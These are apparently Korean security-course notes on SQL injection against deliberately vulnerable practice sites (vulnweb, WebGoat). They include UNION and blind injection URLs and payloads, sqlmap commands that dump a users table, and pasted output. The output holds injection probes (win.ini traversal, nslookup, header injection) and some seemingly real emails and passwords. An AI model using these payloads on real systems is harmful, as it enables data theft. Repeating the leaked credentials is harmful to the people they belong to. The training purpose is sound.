보안교육 1일차
mySQL 기반 해킹 하는 방법.
SQL Injection - union 기반으로 해킹하기.
**먼저 컬럼 갯수를 파악한다.
null 값으로 입력하여 알아낸다.
페이지 하단에 컬럼 숫자들이 노출된다. 따라서 그걸 이용해서 원하는 값을 조회한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11#
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, user(), 3, 4, 5, 6, 7, 8, 9, 10, 11#
계정정보
table 정보 알아내기
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, group_concat(table_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 from information_schema.tables where table_schema=database()#
table list
artists,carts,categ,featured,guestbook,pictures,products,users
계정 정보는 users 테이블 안에 존재할 것으로 판단
따라서 user table을 검색
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, group_concat(column_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 from information_schema.columns where table_name = ‘users’#
노출된 컬럼들
uname,pass,cc,address,email,name,phone,cart
사용자 정보는 uname, pass 에 유저 아이디와 password가 들어있을 것이다.
id 추출
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, uname , 3, 4, 5, 6, 7, 8, 9, 10, 11 from users#
pw 추출
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, pass , 3, 4, 5, 6, 7, 8, 9, 10, 11 from users#
test / test 나온다
노출된 정보로 좌측 메뉴 중 sign up을 눌러서 로그인이 되는지 확인한다.
SQL Injection - Blind 기반으로 해킹하기.**
http://localhost:8080/WebGoat/attack
WebGoat 를 실행 후 guest/ guest 를 입력하여 로그인한다.
**4번 폴더 밑에 injection flaws 부분 클릭한다.
Blind String SQL Injection 을 선택한다.
owasp 에서 만들고 배포해주는 WebGoat 를 이용하여 진행한다.
패스워드를 ascii 코드 표를 이용하여 대/소문자 범위를 검색 한 뒤
아래의 메시지를 통해 범위가 맞는지 안맞는지 확인 후 진행.
input tag 내에 조건절 입력.
account number is valid => 이게 답.
Invalid account number -> 틀린 답.
101 AND (select ASCII(SUBSTR(name, 1,1)) FROM pins WHERE cc_number = 4321432143214321) > 65
1번째
101 AND (select ASCII(SUBSTR(name, 1,1)) FROM pins WHERE cc_number = 4321432143214321) = 74
J
2번째
101 AND (select ASCII(SUBSTR(name, 2,1)) FROM pins WHERE cc_number = 4321432143214321) = 105
i
3번째
101 AND (select ASCII(SUBSTR(name, 3,1)) FROM pins WHERE cc_number = 4321432143214321) = 108
l
4번째
101 AND (select ASCII(SUBSTR(name, 4,1)) FROM pins WHERE cc_number = 4321432143214321) = 108
l
정답임
SQL injection - 자동실습**
**PC에 python 2.7 버전을 설치해 둔다.
그리고 07번째 폴더 안에 있는 sql map을 압축을 풀고
sqlmap.py를 이용하여 자동화로 하는 법을 알아본다.
window cmd 로 압축푼 폴더로 이동 후
python sqlmap.py -h 를 입력한다.
여기서 help 메시지가 나타나면 정상이다.
취약점 점검할 페이지 정보
python sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2
실행하면 y,n을 묻는데 y로 하고 진행한다.
C:\Users\user.sqlmap\output\testasp.vulnweb.com
사용자 계정 정보를 확인하기 위한 테스트
python sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2 –batch –current-user
해당 명령어 실행하면 current user 정보가 나온다.
데이터 베이스 정보를 끌어오기 위한 테스트
python sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2 –batch –dbs
7개의 database 정보가 노출된다.
[] acublog [] acuforum [] acuservice [] master [] model [] msdb [*] tempdb
이중에서 database 계정 1개를 선택하여 table을 알아 낸다.
python sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2 –tables -D acuforum –batch
Database: acuforum [4 tables] +———+ | forums | | posts | | threads | | users | +———+
해당 테이블 중 users 테이블에 있는 정보를 가져온
python sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2 –dump -T dbo.users -D acuforum –batch
| kscjgyjc&n935977=v910733 | g00dPa$$w0rD | sample@email.tst | |
| kscjgyjc | |||
| ktkerlsv | g00dPa$$w0rD_984362 | sample@email.tst | |
| ktkerlsv | |||
| lbmnvvxk | g00dPa$$w0rD | sample@email.tst | |
| lbmnvvxk | |||
| lhppqyqu | g00dPa$$w0rD | sample@email.tst | |
| yfqremmc_90159 | |||
| 8 | |||
| lhppqyqu_919686 | g00dPa$$w0rD | sample@email.tst | |
| batanads | |||
| linkdbappsecurity2 | 1 | abc123@mycom.com | |
| 1 | |||
| lysyoyrj | g00dPa$$w0rD | ../../../../../. | |
| ./../../../../windows/win.ini | lysyoyrj | ||
| ME5TT053SkY= | g00dPa$$w0rD | sample@email.tst | |
| pkebichv | |||
| mhtmldbappsecurity2 | 1 | abc123@mycom.com | |
| 1 | |||
| Michaelkar | 3nwP6vrv8E | johndunin74@gmai | |
| l.com | Michaelkar | ||
| mlvdyfnd | g00dPa$$w0rD | www.acunetix.com | |
| mlvdyfnd | |||
| mnnuebdb | g00dPa$$w0rD | sample@email.tst | |
| mnnuebdb | |||
| multidbappsecurity2 | 1 | abc123@mycom.com | |
| 1 | |||
| ncedkcno | g00dPa$$w0rD | sample@email.tst | |
| ncedkcno | |||
| nibojrwo | g00dPa$$w0rD | sample@email.tst | |
| nibojrwo | |||
| njcqmqya | g00dPa$$w0rD | \r\n SomeCustomI | |
| njectedHeader:injected_by_wvs | njcqmqya | ||
| njstslws | g00dPa$$w0rD | sample@email.tst | |
| njstslws | |||
| nmknrpgy | g00dPa$$w0rD | sample@email.tst | |
| nmknrpgy | |||
| nujbaemv | g00dPa$$w0rD | response.write(9 | |
| 155122*9194598) | nujbaemv | ||
| nvfgpqqy | g00dPa$$w0rD | sample@email.tst | |
| nvfgpqqy&n9574 | |||
| 97=v963665 | |||
| oldgyaxu | g00dPa$$w0rD | sample@email.tst | |
| oldgyaxu | |||
| pbysmigo | g00dPa$$w0rD | ||
| pbysmigo | |||
| pkebichv | g00dPa$$w0rD | sample@email.tst | |
| T1RKbjkycXA= | |||
print nslookup 0Wv1gWlO | g00dPa$$w0rD | sample@email.tst | |
| ncedkcno | |||
print nslookup rOgnJIRB | g00dPa$$w0rD | sample@email.tst | |
| ncedkcno | |||
print nslookup vy47Ga5C | g00dPa$$w0rD | sample@email.tst | |
| ncedkcno | |||
print nslookup wx9h4lKv | g00dPa$$w0rD | sample@email.tst | |
| cravorpm | |||
| print 8-9999108099999; | 1 | abc123@mycom.com | |
| 1 | |||
| print 8-9999108099999;# | 1 | abc123@mycom.com | |
| 1 | |||
| pubxentk | g00dPa$$w0rD | sample@email.tst | |
| &n960920=v912388 | pubxentk | ||
| qfmidmrb | g00dPa$$w0rD | sample@email.tst | |
| nvyxpkpr | |||
| qkwsttjb | g00dPa$$w0rD | sample@email.tst | |
| &n987761=v976851 | qkwsttjb | ||
| qodpqqtf | g00dPa$$w0rD | sample@email.tst | |
| qodpqqtf | |||
| qrfetorb | g00dPa$$w0rD | )))))))))))))))) | |
| ))))))))))))))))))))))))))))))))))))))))))))))))))))) | qrfetorb | ||
| raanu | 3383 | raibin@hotmail.c | |
| om | raibin | ||
| rawbite | none | lala | |
| lala | |||
| rbhsksiy | g00dPa$$w0rD | ../../../../../. | |
| ./../../../../windows/win.ini | rbhsksiy | ||
| register.asp | g00dPa$$w0rD | sample@email.tst | |
| iquaddme | |||
| register.asp/. | g00dPa$$w0rD | sample@email.tst | |
| iquaddme | |||
| renkqujy | g00dPa$$w0rD | sample@email.tst | |
| renkqujy | |||
| rlmxftnd | g00dPa$$w0rD | ${10000226+10000 | |
| 249} | rlmxftnd | ||
| RobertLecy | wg7qoS85qY | queenielee1964@g | |
| mail.com | RobertLecy | ||
| RobertOr | P5o9uc7ezX | icustomerservice | |
| you@gmail.com | RobertOr | ||
| rrahul206 | iamafake | rrahul206@gmail. | |
| com | Rahul R | ||
| rrgsoqil&n996249=v950650 | g00dPa$$w0rD | sample@email.tst | |
| rrgsoqil | |||
| set | set&set | g00dPa$$w0rD | sample@email.tst |
| ncedkcno | |||
| shfaephw&n942036=v972013 | g00dPa$$w0rD | sample@email.tst | |
| shfaephw | |||
| sree | abcd | sreeharim | |
| sreehari | |||
| swxomgiw | g00dPa$$w0rD&n999315=v902220 | sample@email.tst | |
| swxomgiw | |||
| t2IjnO6G | g00dPa$$w0rD | sample@email.tst | |
| nibojrwo | |||
| tbtjrjth | g00dPa$$w0rD | sample@email.tst | |
| tbtjrjth | |||
| toubcxmq | g00dPa$$w0rD | sample@email.tst | |
| toubcxmq | |||
| tpcwacdq | g00dPa$$w0rD | ;print(md5(acune | |
| tix_wvs_security_test)); | tpcwacdq | ||
| TwW6wMCj | g00dPa$$w0rD | sample@email.tst | |
| xqjdvtdv | |||
| TXRUMzd4aVY= | g00dPa$$w0rD | sample@email.tst | |
| uhxoygny | |||
| type c:\windows\win.ini | 1 | abc123@mycom.com | |
| 1 | |||
| U01I98as | g00dPa$$w0rD | sample@email.tst | |
| ilpfiohh | |||
| uegiejcs | g00dPa$$w0rD | sample@email.tst | |
| yohrnthf_90577 | |||
| 9 | |||
| uegiejcs_947484 | g00dPa$$w0rD | sample@email.tst | |
| mgjyeaga | |||
| uhimkigl | g00dPa$$w0rD | <!– | |
| uhimkigl | |||
| uhxoygny | g00dPa$$w0rD | sample@email.tst | |
| THhuWHh4ZWM= | |||
| utf7dbappsecurity2 | 1 | abc123@mycom.com | |
| 1 | |||
| V3BKYnZUa0s= | g00dPa$$w0rD | sample@email.tst | |
| xqfcxkkq | |||
| veprfaru | g00dPa$$w0rD | sample@email.tst | |
| veprfaru | |||
dlfjgrp skdhsek.
———————- 시큐어 코딩 점검 도구 기준 ————————————
nist juliet (juliet 코드라고 한다)**
python ant jdk
위의 3가지가 필요하다.
각각 설치 후 환경변수 path 내에 선언해준다.
cafe.naver.com/sec
유틸리티 들어가서
자바 취약소스 리스트 다운로드
암호 1234567
tmp(2) 폴더 쪽을 압축을 푼뒤
python test.py 실행한다.
bulid가 완료되면
C:\Users\user\Desktop\tmp (2)\src\testcases
로 이동하여 소스들을 확인 할 수 있다.
———————— sql injection 실습 ———————————————–
명령어 결정 : 윈도우 / 유닉스